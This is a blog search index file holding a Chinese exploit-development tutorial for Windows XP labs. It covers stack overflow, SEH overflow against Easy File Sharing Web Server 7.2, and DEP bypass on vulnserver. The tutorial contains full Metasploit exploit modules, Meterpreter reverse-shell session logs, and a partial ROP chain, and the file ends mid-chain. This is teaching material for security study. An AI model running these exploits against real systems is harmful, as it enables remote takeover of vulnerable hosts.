Cool-Y.github.io/search.xml
2019-07-10 17:03:44 +08:00

486 lines
500 KiB
XML
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>x86-basic 漏洞利用</title>
<link href="/2019/07/10/x86basic/"/>
<url>/2019/07/10/x86basic/</url>
<content type="html"><![CDATA[<p>这部分是对Window x86平台下的几个典型漏洞利用方式的介绍从最基础的、没有开启任何保护的漏洞程序入手然后开启GS最后通过rop绕过DEP。</p><h1 id="0x00-漏洞利用开发简介"><a href="#0x00-漏洞利用开发简介" class="headerlink" title="0x00 漏洞利用开发简介"></a>0x00 漏洞利用开发简介</h1><p>1需要什么</p><ul><li>Immunity Debugger -<a href="http://debugger.immunityinc.com/ID_register.py" target="_blank" rel="noopener">Download</a></li><li>Mona.py -<a href="https://github.com/corelan/mona" target="_blank" rel="noopener">Download</a></li><li>Metasploit框架-<a href="https://www.metasploit.com/" target="_blank" rel="noopener">下载</a></li><li>靶机Windows XP sp3</li></ul><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562741903/%E6%8D%95%E8%8E%B7.png" alt></p><ul><li>函数调用与栈:调用、返回</li><li>寄存器与函数栈帧ESP、EBP</li><li>函数栈帧:局部变量、栈帧状态值、函数返回地址</li><li>函数调用约定与相关指令:参数传递方式、参数入栈顺序、恢复堆栈平衡的操作</li></ul><p>2函数调用的汇编过程</p><ol><li><p>示例程序</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">charname[] = <span class="string">"1234567"</span>;</span><br><span class="line">voidfunc(<span class="keyword">int</span> a, <span class="keyword">int</span> b, <span class="keyword">int</span> c)</span><br><span class="line">&#123;</span><br><span class="line"> charbuf[<span class="number">8</span>];</span><br><span class="line"> <span class="built_in">strcpy</span>(buf, name);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p>汇编过程</p></li></ol><ul><li>PUSH c, PUSH b, PUSH a</li><li>CALL address of func【保存返回地址跳转】</li><li>MOV ebp, esp</li><li>PUSH ebp</li><li>SUB esp, 0x40</li><li>创建局部变量4个字节为一组</li><li>do something</li><li>add esp, 0x40</li><li>pop ebp</li><li>RETN【弹出返回地址跳转】</li></ul><ol start="3"><li>栈帧结构<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742079/%E6%8D%95%E8%8E%B71.png" alt></li></ol><h1 id="0x01-简单栈溢出"><a href="#0x01-简单栈溢出" class="headerlink" title="0x01 简单栈溢出"></a>0x01 简单栈溢出</h1><blockquote><p><strong>目标程序:</strong><br><a href="http://redstack.net/blog/static/uploads/2008/01/bof-server.c" target="_blank" rel="noopener">bof-server source code</a><br><a href="http://redstack.net/blog/wp-content/uploads/2008/01/bof-server.exe" target="_blank" rel="noopener">bof-server binary for Windows</a><br><strong>usage:</strong><br>服务端<br><code>bof-server.exe 4242</code><br>客户端<br><code>telnet localhost 4242</code><br><code>version</code><br><code>bof-server v0.01</code><br><code>quit</code></p></blockquote><h2 id="漏洞点"><a href="#漏洞点" class="headerlink" title="漏洞点"></a>漏洞点</h2><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742316/%E5%9B%BE%E7%89%871.png" alt></p><p><strong>产生崩溃</strong><br>将输出的1024个A发送给靶机程序<br><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python -c <span class="string">"print('A' * 1024)"</span></span><br><span class="line">telnet <span class="number">192.168</span><span class="number">.64</span><span class="number">.138</span> <span class="number">4242</span></span><br></pre></td></tr></table></figure></p><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742366/%E5%9B%BE%E7%89%872.png" alt></p><h2 id="关闭防御措施"><a href="#关闭防御措施" class="headerlink" title="关闭防御措施"></a>关闭防御措施</h2><p>使用<strong>PESecurity</strong>检查可执行文件本身的防御措施开启情况<br>注意设置Set-ExecutionPolicyUnrestricted</p><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742444/%E5%9B%BE%E7%89%873.png" alt></p><p><strong>ASLR和DEP</strong><br>ASLR在xp下不用考虑DEP可通过修改boot.ini中的nonexecute来完成AlwaysOff、OptOut<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742486/%E5%9B%BE%E7%89%874.png" alt></p><h2 id="整体的攻击流程:"><a href="#整体的攻击流程:" class="headerlink" title="整体的攻击流程:"></a>整体的攻击流程:</h2><ol><li>任意非00的指令覆盖buffer和EBP</li><li>从程序已经加载的dll中获取他们的jmp esp指令地址。</li><li>使用jmp esp的指令地址覆盖ReturnAddress</li><li>从下一行开始填充Shellcode<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742543/%E5%9B%BE%E7%89%875.png" alt></li></ol><h2 id="确定溢出点的位置"><a href="#确定溢出点的位置" class="headerlink" title="确定溢出点的位置"></a>确定溢出点的位置</h2><ol><li><p>生成字符序列 <strong>pattern_create.rb</strong><br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742622/%E5%9B%BE%E7%89%876.png" alt></p></li><li><p>发送给目标程序<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742623/%E5%9B%BE%E7%89%877.png" alt></p></li><li><p>计算偏移量 <strong>pattern_offset.rb</strong><br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742685/%E5%9B%BE%E7%89%878.png" alt></p></li><li><p>确定payload结构<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742686/%E5%9B%BE%E7%89%879.png" alt></p></li></ol><h2 id="寻找jmp-esp跳板"><a href="#寻找jmp-esp跳板" class="headerlink" title="寻找jmp esp跳板"></a>寻找jmp esp跳板</h2><ol><li>OD附加进程看一下服务器加载了哪些模块<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742794/%E5%9B%BE%E7%89%8710.png" alt></li><li>查找JMP ESP指令的地址<br>在这里选择了ws2_32.dll作为对象通过Metasploit的msfbinscan进行搜索<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742793/%E5%9B%BE%E7%89%8711.png" alt></li></ol><h2 id="自动化攻击"><a href="#自动化攻击" class="headerlink" title="自动化攻击"></a>自动化攻击</h2><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">require</span> <span class="string">'msf/core'</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Metasploit3</span> &lt; Msf::Exploit::<span class="title">Remote</span></span></span><br><span class="line"> Rank = NormalRanking</span><br><span class="line"> <span class="keyword">include</span> Msf::Exploit::Remote::Tcp</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">initialize</span><span class="params">(info = &#123;&#125;)</span></span></span><br><span class="line"> <span class="keyword">super</span>(update_info(info,</span><br><span class="line"> <span class="string">'Name'</span> =&gt; <span class="string">'Stack Based Buffer Overflow Example'</span>,</span><br><span class="line"> <span class="string">'Description'</span> =&gt; <span class="string">%q&#123;</span></span><br><span class="line"><span class="string"> Stack Based Overflow Example Application Exploitation Module</span></span><br><span class="line"><span class="string"> &#125;</span>,</span><br><span class="line"> <span class="string">'Platform'</span> =&gt; <span class="string">'Windows'</span>,</span><br><span class="line"> <span class="string">'Author'</span> =&gt; <span class="string">'yanhan'</span>,</span><br><span class="line"></span><br><span class="line"> <span class="string">'Payload'</span> =&gt;</span><br><span class="line"> &#123;</span><br><span class="line"> <span class="string">'space'</span> =&gt; <span class="number">400</span>,</span><br><span class="line"> <span class="string">'BadChars'</span> =&gt; <span class="string">"\x00\xff"</span></span><br><span class="line"> &#125;,</span><br><span class="line"> <span class="string">'Targets'</span> =&gt;</span><br><span class="line"> [</span><br><span class="line"> [</span><br><span class="line"> <span class="string">'Windows XP SP3'</span>,</span><br><span class="line"> &#123;<span class="string">'Ret'</span> =&gt; <span class="number">0x71a22b53</span>, <span class="string">'Offset'</span> =&gt; <span class="number">520</span>&#125;</span><br><span class="line"> ]</span><br><span class="line"> ],</span><br><span class="line"> <span class="string">'DisclosureDate'</span> =&gt; <span class="string">'2019-05-25'</span></span><br><span class="line"> ))</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">exploit</span></span></span><br><span class="line"> connect</span><br><span class="line"> buf = make_nops(target[<span class="string">'Offset'</span>])</span><br><span class="line"> buf = buf + [target[<span class="string">'Ret'</span>]].pack(<span class="string">'V'</span>) + make_nops(<span class="number">20</span>) + payload.encoded</span><br><span class="line"> sock.put(buf)</span><br><span class="line"> handler</span><br><span class="line"> disconnect</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure><figure class="highlight subunit"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">msf5 &gt; use exploit/windows/yanhan/bof_attack</span><br><span class="line">msf5 exploit(windows/yanhan/bof_attack) &gt; set rhosts 192.168.31.114</span><br><span class="line">rhosts =&gt; 192.168.31.114</span><br><span class="line">msf5 exploit(windows/yanhan/bof_attack) &gt; set rport 1000</span><br><span class="line">rport =&gt; 1000</span><br><span class="line">msf5 exploit(windows/yanhan/bof_attack) &gt; exploit</span><br><span class="line"></span><br><span class="line">[*] Started reverse TCP handler on 192.168.31.84:4444</span><br><span class="line">[*] Sending stage (179779 bytes) to 192.168.31.114</span><br><span class="line">[*] Meterpreter session 1 opened (192.168.31.84:4444 -&gt; 192.168.31.114:1062) at 2019<span class="string">-07</span><span class="string">-10</span> 16:38:51 <span class="string">+0800</span></span><br><span class="line"></span><br><span class="line">meterpreter &gt; ls</span><br><span class="line">Listing: C:\Documents and Settings\Administrator</span><br><span class="line">================================================</span><br><span class="line"></span><br><span class="line">Mode Size Type Last modified Name</span><br><span class="line">---- ---- ---- ------------- ----</span><br><span class="line">40555/r-xr-xr-x 0 dir 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> Application Data</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> Cookies</span><br><span class="line">40555/r-xr-xr-x 0 dir 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> Favorites</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> Local Settings</span><br><span class="line">40555/r-xr-xr-x 0 dir 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> My Documents</span><br><span class="line">100666/rw-rw-rw- 1048576 fil 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> NTUSER.DAT</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> NetHood</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> PrintHood</span><br><span class="line">40555/r-xr-xr-x 0 dir 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> Recent</span><br><span class="line">40555/r-xr-xr-x 0 dir 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> SendTo</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> Templates</span><br><span class="line">100777/rwxrwxrwx 26665 fil 2019<span class="string">-05</span><span class="string">-28</span> 14:59:10 <span class="string">+0800</span> bof-server.exe</span><br><span class="line">100666/rw-rw-rw- 1024 fil 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> ntuser.dat.LOG</span><br><span class="line">100666/rw-rw-rw- 178 fil 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> ntuser.ini</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019<span class="string">-05</span><span class="string">-29</span> 10:49:26 <span class="string">+0800</span> vulnserver</span><br><span class="line">40555/r-xr-xr-x 0 dir 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> 「开始」菜单</span><br><span class="line">40777/rwxrwxrwx 0 dir 2019<span class="string">-05</span><span class="string">-14</span> 09:54:43 <span class="string">+0800</span> 桌面</span><br><span class="line"></span><br><span class="line">meterpreter &gt;</span><br></pre></td></tr></table></figure><h1 id="0x02-基于SEH的栈溢出"><a href="#0x02-基于SEH的栈溢出" class="headerlink" title="0x02 基于SEH的栈溢出"></a>0x02 基于SEH的栈溢出</h1><blockquote><p><strong>目标程序</strong> Easy File Sharing Web Server 7.2</p><p><strong>漏洞点</strong><br>在处理请求时存在漏洞——一个恶意的请求头部HEAD或GET就可以引起缓冲区溢出从而改写SEH链的地址。</p><p><strong>利用seh</strong><br>填充物+nseh+ sehpop popretn指令序列地址+shellcode</p><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744120/11.png" alt></p></blockquote><h2 id="确定溢出点的位置-1"><a href="#确定溢出点的位置-1" class="headerlink" title="确定溢出点的位置"></a>确定溢出点的位置</h2><ol><li>生成字符序列<figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create<span class="selector-class">.rb</span> -l <span class="number">10000</span> &gt; <span class="selector-tag">a</span>.txt</span><br><span class="line">python -c <span class="string">"print(' HTTP/1.0\r\n\r\n')"</span> &gt; <span class="selector-tag">b</span>.txt</span><br><span class="line">cat <span class="selector-tag">a</span><span class="selector-class">.txt</span> <span class="selector-tag">b</span><span class="selector-class">.txt</span> &gt; c.txt</span><br></pre></td></tr></table></figure></li></ol><p>删除cat造成的多余字符0x0a<br><figure class="highlight elixir"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">vim -bz.txt</span><br><span class="line"><span class="comment"># In Vim</span></span><br><span class="line"><span class="symbol">:%</span>!xxd</span><br><span class="line"><span class="comment"># After editing, use the instruction below to save</span></span><br><span class="line"><span class="symbol">:%</span>!xxd -r</span><br></pre></td></tr></table></figure></p><ol start="2"><li>构造SEH链</li></ol><ul><li>将Easy File Sharing Web Server 7.2加载到ImmunityDebugger中并处于运行状态。</li><li>发送溢出字符序列</li><li>查看Easy File Sharing Web Server 7.2溢出地址<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744240/231.png" alt></li></ul><ol start="3"><li>计算偏移量<br>计算catch块偏移量&amp;计算下一条SEH记录偏移量</li></ol><h2 id="寻找PPR"><a href="#寻找PPR" class="headerlink" title="寻找PPR"></a>寻找PPR</h2><ol><li>使用mona寻找<br>需要POP/POP/RET指令的地址来载入下一条SEH记录的地址并跳转到攻击载荷<figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="addition">!mona modules</span></span><br><span class="line"><span class="addition">!mona seh</span></span><br></pre></td></tr></table></figure></li></ol><h2 id="自动化攻击-1"><a href="#自动化攻击-1" class="headerlink" title="自动化攻击"></a>自动化攻击</h2><ol><li><p>编写攻击脚本</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">require</span> <span class="string">'msf/core'</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MetasploitModule</span> &lt; Msf::Exploit::<span class="title">Remote</span></span></span><br><span class="line"> Rank = NormalRanking</span><br><span class="line"> <span class="keyword">include</span> Msf::Exploit::Remote::Tcp</span><br><span class="line"> <span class="keyword">include</span> Msf::Exploit::Seh</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">initialize</span><span class="params">(info = &#123;&#125;)</span></span></span><br><span class="line"> <span class="keyword">super</span>(update_info(info,</span><br><span class="line"> <span class="string">'Name'</span> =&gt; <span class="string">'Easy File Sharing HTTP Server 7.2 SEH Overflow'</span>,</span><br><span class="line"> <span class="string">'Description'</span> =&gt; <span class="string">%q&#123;</span></span><br><span class="line"><span class="string"> This Module Demonstrate SEH based overflow example</span></span><br><span class="line"><span class="string"> &#125;</span>,</span><br><span class="line"> <span class="string">'Author'</span> =&gt; <span class="string">'yanhan'</span>,</span><br><span class="line"></span><br><span class="line"> <span class="string">'Payload'</span> =&gt;</span><br><span class="line"> &#123;</span><br><span class="line"> <span class="string">'Space'</span> =&gt; <span class="number">390</span>,</span><br><span class="line"> <span class="string">'BadChars'</span> =&gt; <span class="string">"\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"</span></span><br><span class="line"> &#125;,</span><br><span class="line"> <span class="string">'Platform'</span> =&gt; <span class="string">'Windows'</span>,</span><br><span class="line"> <span class="string">'Targets'</span> =&gt;</span><br><span class="line"> [</span><br><span class="line"> [</span><br><span class="line"> <span class="string">'Easy File Sharing 7.2 HTTP'</span>,</span><br><span class="line"> &#123;</span><br><span class="line"> <span class="string">'Ret'</span> =&gt; <span class="number">0x10022fd7</span>,</span><br><span class="line"> <span class="string">'Offset'</span> =&gt; <span class="number">4061</span></span><br><span class="line"> &#125;</span><br><span class="line"> ]</span><br><span class="line"> ],</span><br><span class="line"> <span class="string">'DisclosureDate'</span> =&gt; <span class="string">'2019-01-16'</span>,</span><br><span class="line"> ))</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">exploit</span></span></span><br><span class="line"> connect</span><br><span class="line"> weapon = <span class="string">"HEAD "</span></span><br><span class="line"> weapon &lt;&lt; make_nops(target[<span class="string">'Offset'</span>])</span><br><span class="line"> weapon &lt;&lt; generate_seh_record(target[<span class="string">'Ret'</span>])</span><br><span class="line"> weapon &lt;&lt; make_nops(<span class="number">20</span>)</span><br><span class="line"> weapon &lt;&lt; payload.encoded</span><br><span class="line"> weapon &lt;&lt; <span class="string">" HTTP/1.0\r\n\r\n"</span></span><br><span class="line"> sock.put(weapon)</span><br><span class="line"> handler</span><br><span class="line"> disconnect</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure></li><li><p>exploit</p><figure class="highlight gams"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">msf5 &gt; use exploit/windows/yanhan/seh_attack</span><br><span class="line">msf5 exploit(windows/yanhan/seh_attack) &gt; <span class="keyword">set</span> rhosts <span class="comment">192.168.31.114</span></span><br><span class="line">rhosts <span class="comment">=&gt; 192.168.31.114</span></span><br><span class="line">msf5 <span class="comment">exploit(windows</span>/yanhan/<span class="comment">seh_attack) &gt; set rport 80</span></span><br><span class="line">rport <span class="comment">=&gt; 80</span></span><br><span class="line">msf5 <span class="comment">exploit(windows</span>/yanhan/<span class="comment">seh_attack) &gt; exploit</span></span><br><span class="line"></span><br><span class="line">[*] Started <span class="comment">reverse TCP handler on 192.168.31.84:4444</span></span><br><span class="line">[*] Exploit <span class="comment">completed, but no session was created.</span></span><br><span class="line">msf5 <span class="comment">exploit(windows</span>/yanhan/<span class="comment">seh_attack) &gt; set payload windows</span>/meterpreter/<span class="comment">bind_tcp</span></span><br><span class="line">payload <span class="comment">=&gt; windows</span>/meterpreter/<span class="comment">bind_tcp</span></span><br><span class="line">msf5 <span class="comment">exploit(windows</span>/yanhan/<span class="comment">seh_attack) &gt; exploit</span></span><br><span class="line"></span><br><span class="line">[*] Started <span class="comment">bind TCP handler against 192.168.31.114:4444</span></span><br><span class="line">[*] Sending <span class="comment">stage (179779 bytes) to 192.168.31.114</span></span><br><span class="line">[*] Meterpreter <span class="comment">session 1 opened (192.168.31.84:46601 -&gt; 192.168.31.114:4444) at 2019-07-10 16:43:47 +0800</span></span><br><span class="line"></span><br><span class="line">meterpreter <span class="comment">&gt; getuid</span></span><br><span class="line">Server <span class="comment">username: WHU-3E3EECEBFD1\Administrator</span></span><br></pre></td></tr></table></figure></li></ol><h1 id="0x03-绕过DEP"><a href="#0x03-绕过DEP" class="headerlink" title="0x03 绕过DEP"></a>0x03 绕过DEP</h1><blockquote><p><strong>目标程序</strong> <a href="http://www.thegreycorner.com/2010/12/introducing-vulnserver.html" target="_blank" rel="noopener">Introducing Vulnserver</a><br><strong>使用</strong> vulnserver.exe 6666<br><strong>漏洞点</strong> <img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744461/%E5%9B%BE%E7%89%8712.png" alt></p></blockquote><h2 id="设置DEP保护"><a href="#设置DEP保护" class="headerlink" title="设置DEP保护"></a>设置DEP保护</h2><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744518/%E6%8D%9511%E8%8E%B7.png" alt><br><em>构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode</em></p><h2 id="计算偏移量"><a href="#计算偏移量" class="headerlink" title="计算偏移量"></a>计算偏移量</h2><p><code>&#39;TRUN .&#39;+make_nops(target[&#39;Offset&#39;])</code><br>Immunity附加进程之后在服务端发送3000个字符计算偏移</p><h2 id="创建ROP链"><a href="#创建ROP链" class="headerlink" title="创建ROP链"></a>创建ROP链</h2><p><code>!mona rop -m *.dll -cp nonull</code><br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">################################################################################</span></span><br><span class="line"></span><br><span class="line">Register setup <span class="keyword">for</span> VirtualProtect() <span class="symbol">:</span></span><br><span class="line">--------------------------------------------</span><br><span class="line"> EAX = NOP (<span class="number">0x90909090</span>)</span><br><span class="line"> ECX = lpOldProtect (ptr to W address)</span><br><span class="line"> EDX = NewProtect (<span class="number">0x40</span>)</span><br><span class="line"> EBX = dwSize</span><br><span class="line"> ESP = lPAddress (automatic)</span><br><span class="line"> EBP = ReturnTo (ptr to jmp esp)</span><br><span class="line"> ESI = ptr to VirtualProtect()</span><br><span class="line"> EDI = ROP NOP (RETN)</span><br><span class="line"> --- alternative chain ---</span><br><span class="line"> EAX = ptr to &amp;VirtualProtect()</span><br><span class="line"> ECX = lpOldProtect (ptr to W address)</span><br><span class="line"> EDX = NewProtect (<span class="number">0x40</span>)</span><br><span class="line"> EBX = dwSize</span><br><span class="line"> ESP = lPAddress (automatic)</span><br><span class="line"> EBP = POP (skip <span class="number">4</span> bytes)</span><br><span class="line"> ESI = ptr to JMP [EAX]</span><br><span class="line"> EDI = ROP NOP (RETN)</span><br><span class="line"> + place ptr to <span class="string">"jmp esp"</span> on stack, below PUSHAD</span><br><span class="line">--------------------------------------------</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">ROP Chain <span class="keyword">for</span> VirtualProtect() [(XP/<span class="number">2003</span> Server <span class="keyword">and</span> up)] <span class="symbol">:</span></span><br><span class="line">----------------------------------------------------------</span><br><span class="line"></span><br><span class="line">*** [ Ruby ] ***</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">create_rop_chain</span><span class="params">()</span></span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># rop chain generated with mona.py - www.corelan.be</span></span><br><span class="line"> rop_gadgets =</span><br><span class="line"> [</span><br><span class="line"> <span class="number">0x77dabf34</span>, <span class="comment"># POP ECX # RETN [ADVAPI32.dll]</span></span><br><span class="line"> <span class="number">0x6250609c</span>, <span class="comment"># ptr to &amp;VirtualProtect() [IAT essfunc.dll]</span></span><br><span class="line"> <span class="number">0x77d1927f</span>, <span class="comment"># MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]</span></span><br><span class="line"> <span class="number">0x7c96d192</span>, <span class="comment"># XCHG EAX,ESI # RETN [ntdll.dll]</span></span><br><span class="line"> <span class="number">0x77bef671</span>, <span class="comment"># POP EBP # RETN [msvcrt.dll]</span></span><br><span class="line"> <span class="number">0x625011af</span>, <span class="comment"># &amp; jmp esp [essfunc.dll]</span></span><br><span class="line"> <span class="number">0x77e9ad22</span>, <span class="comment"># POP EAX # RETN [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0xfffffdff</span>, <span class="comment"># Value to negate, will become 0x00000201</span></span><br><span class="line"> <span class="number">0x77e6c784</span>, <span class="comment"># NEG EAX # RETN [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0x77dc560a</span>, <span class="comment"># XCHG EAX,EBX # RETN [ADVAPI32.dll]</span></span><br><span class="line"> <span class="number">0x7c87fbcb</span>, <span class="comment"># POP EAX # RETN [kernel32.dll]</span></span><br><span class="line"> <span 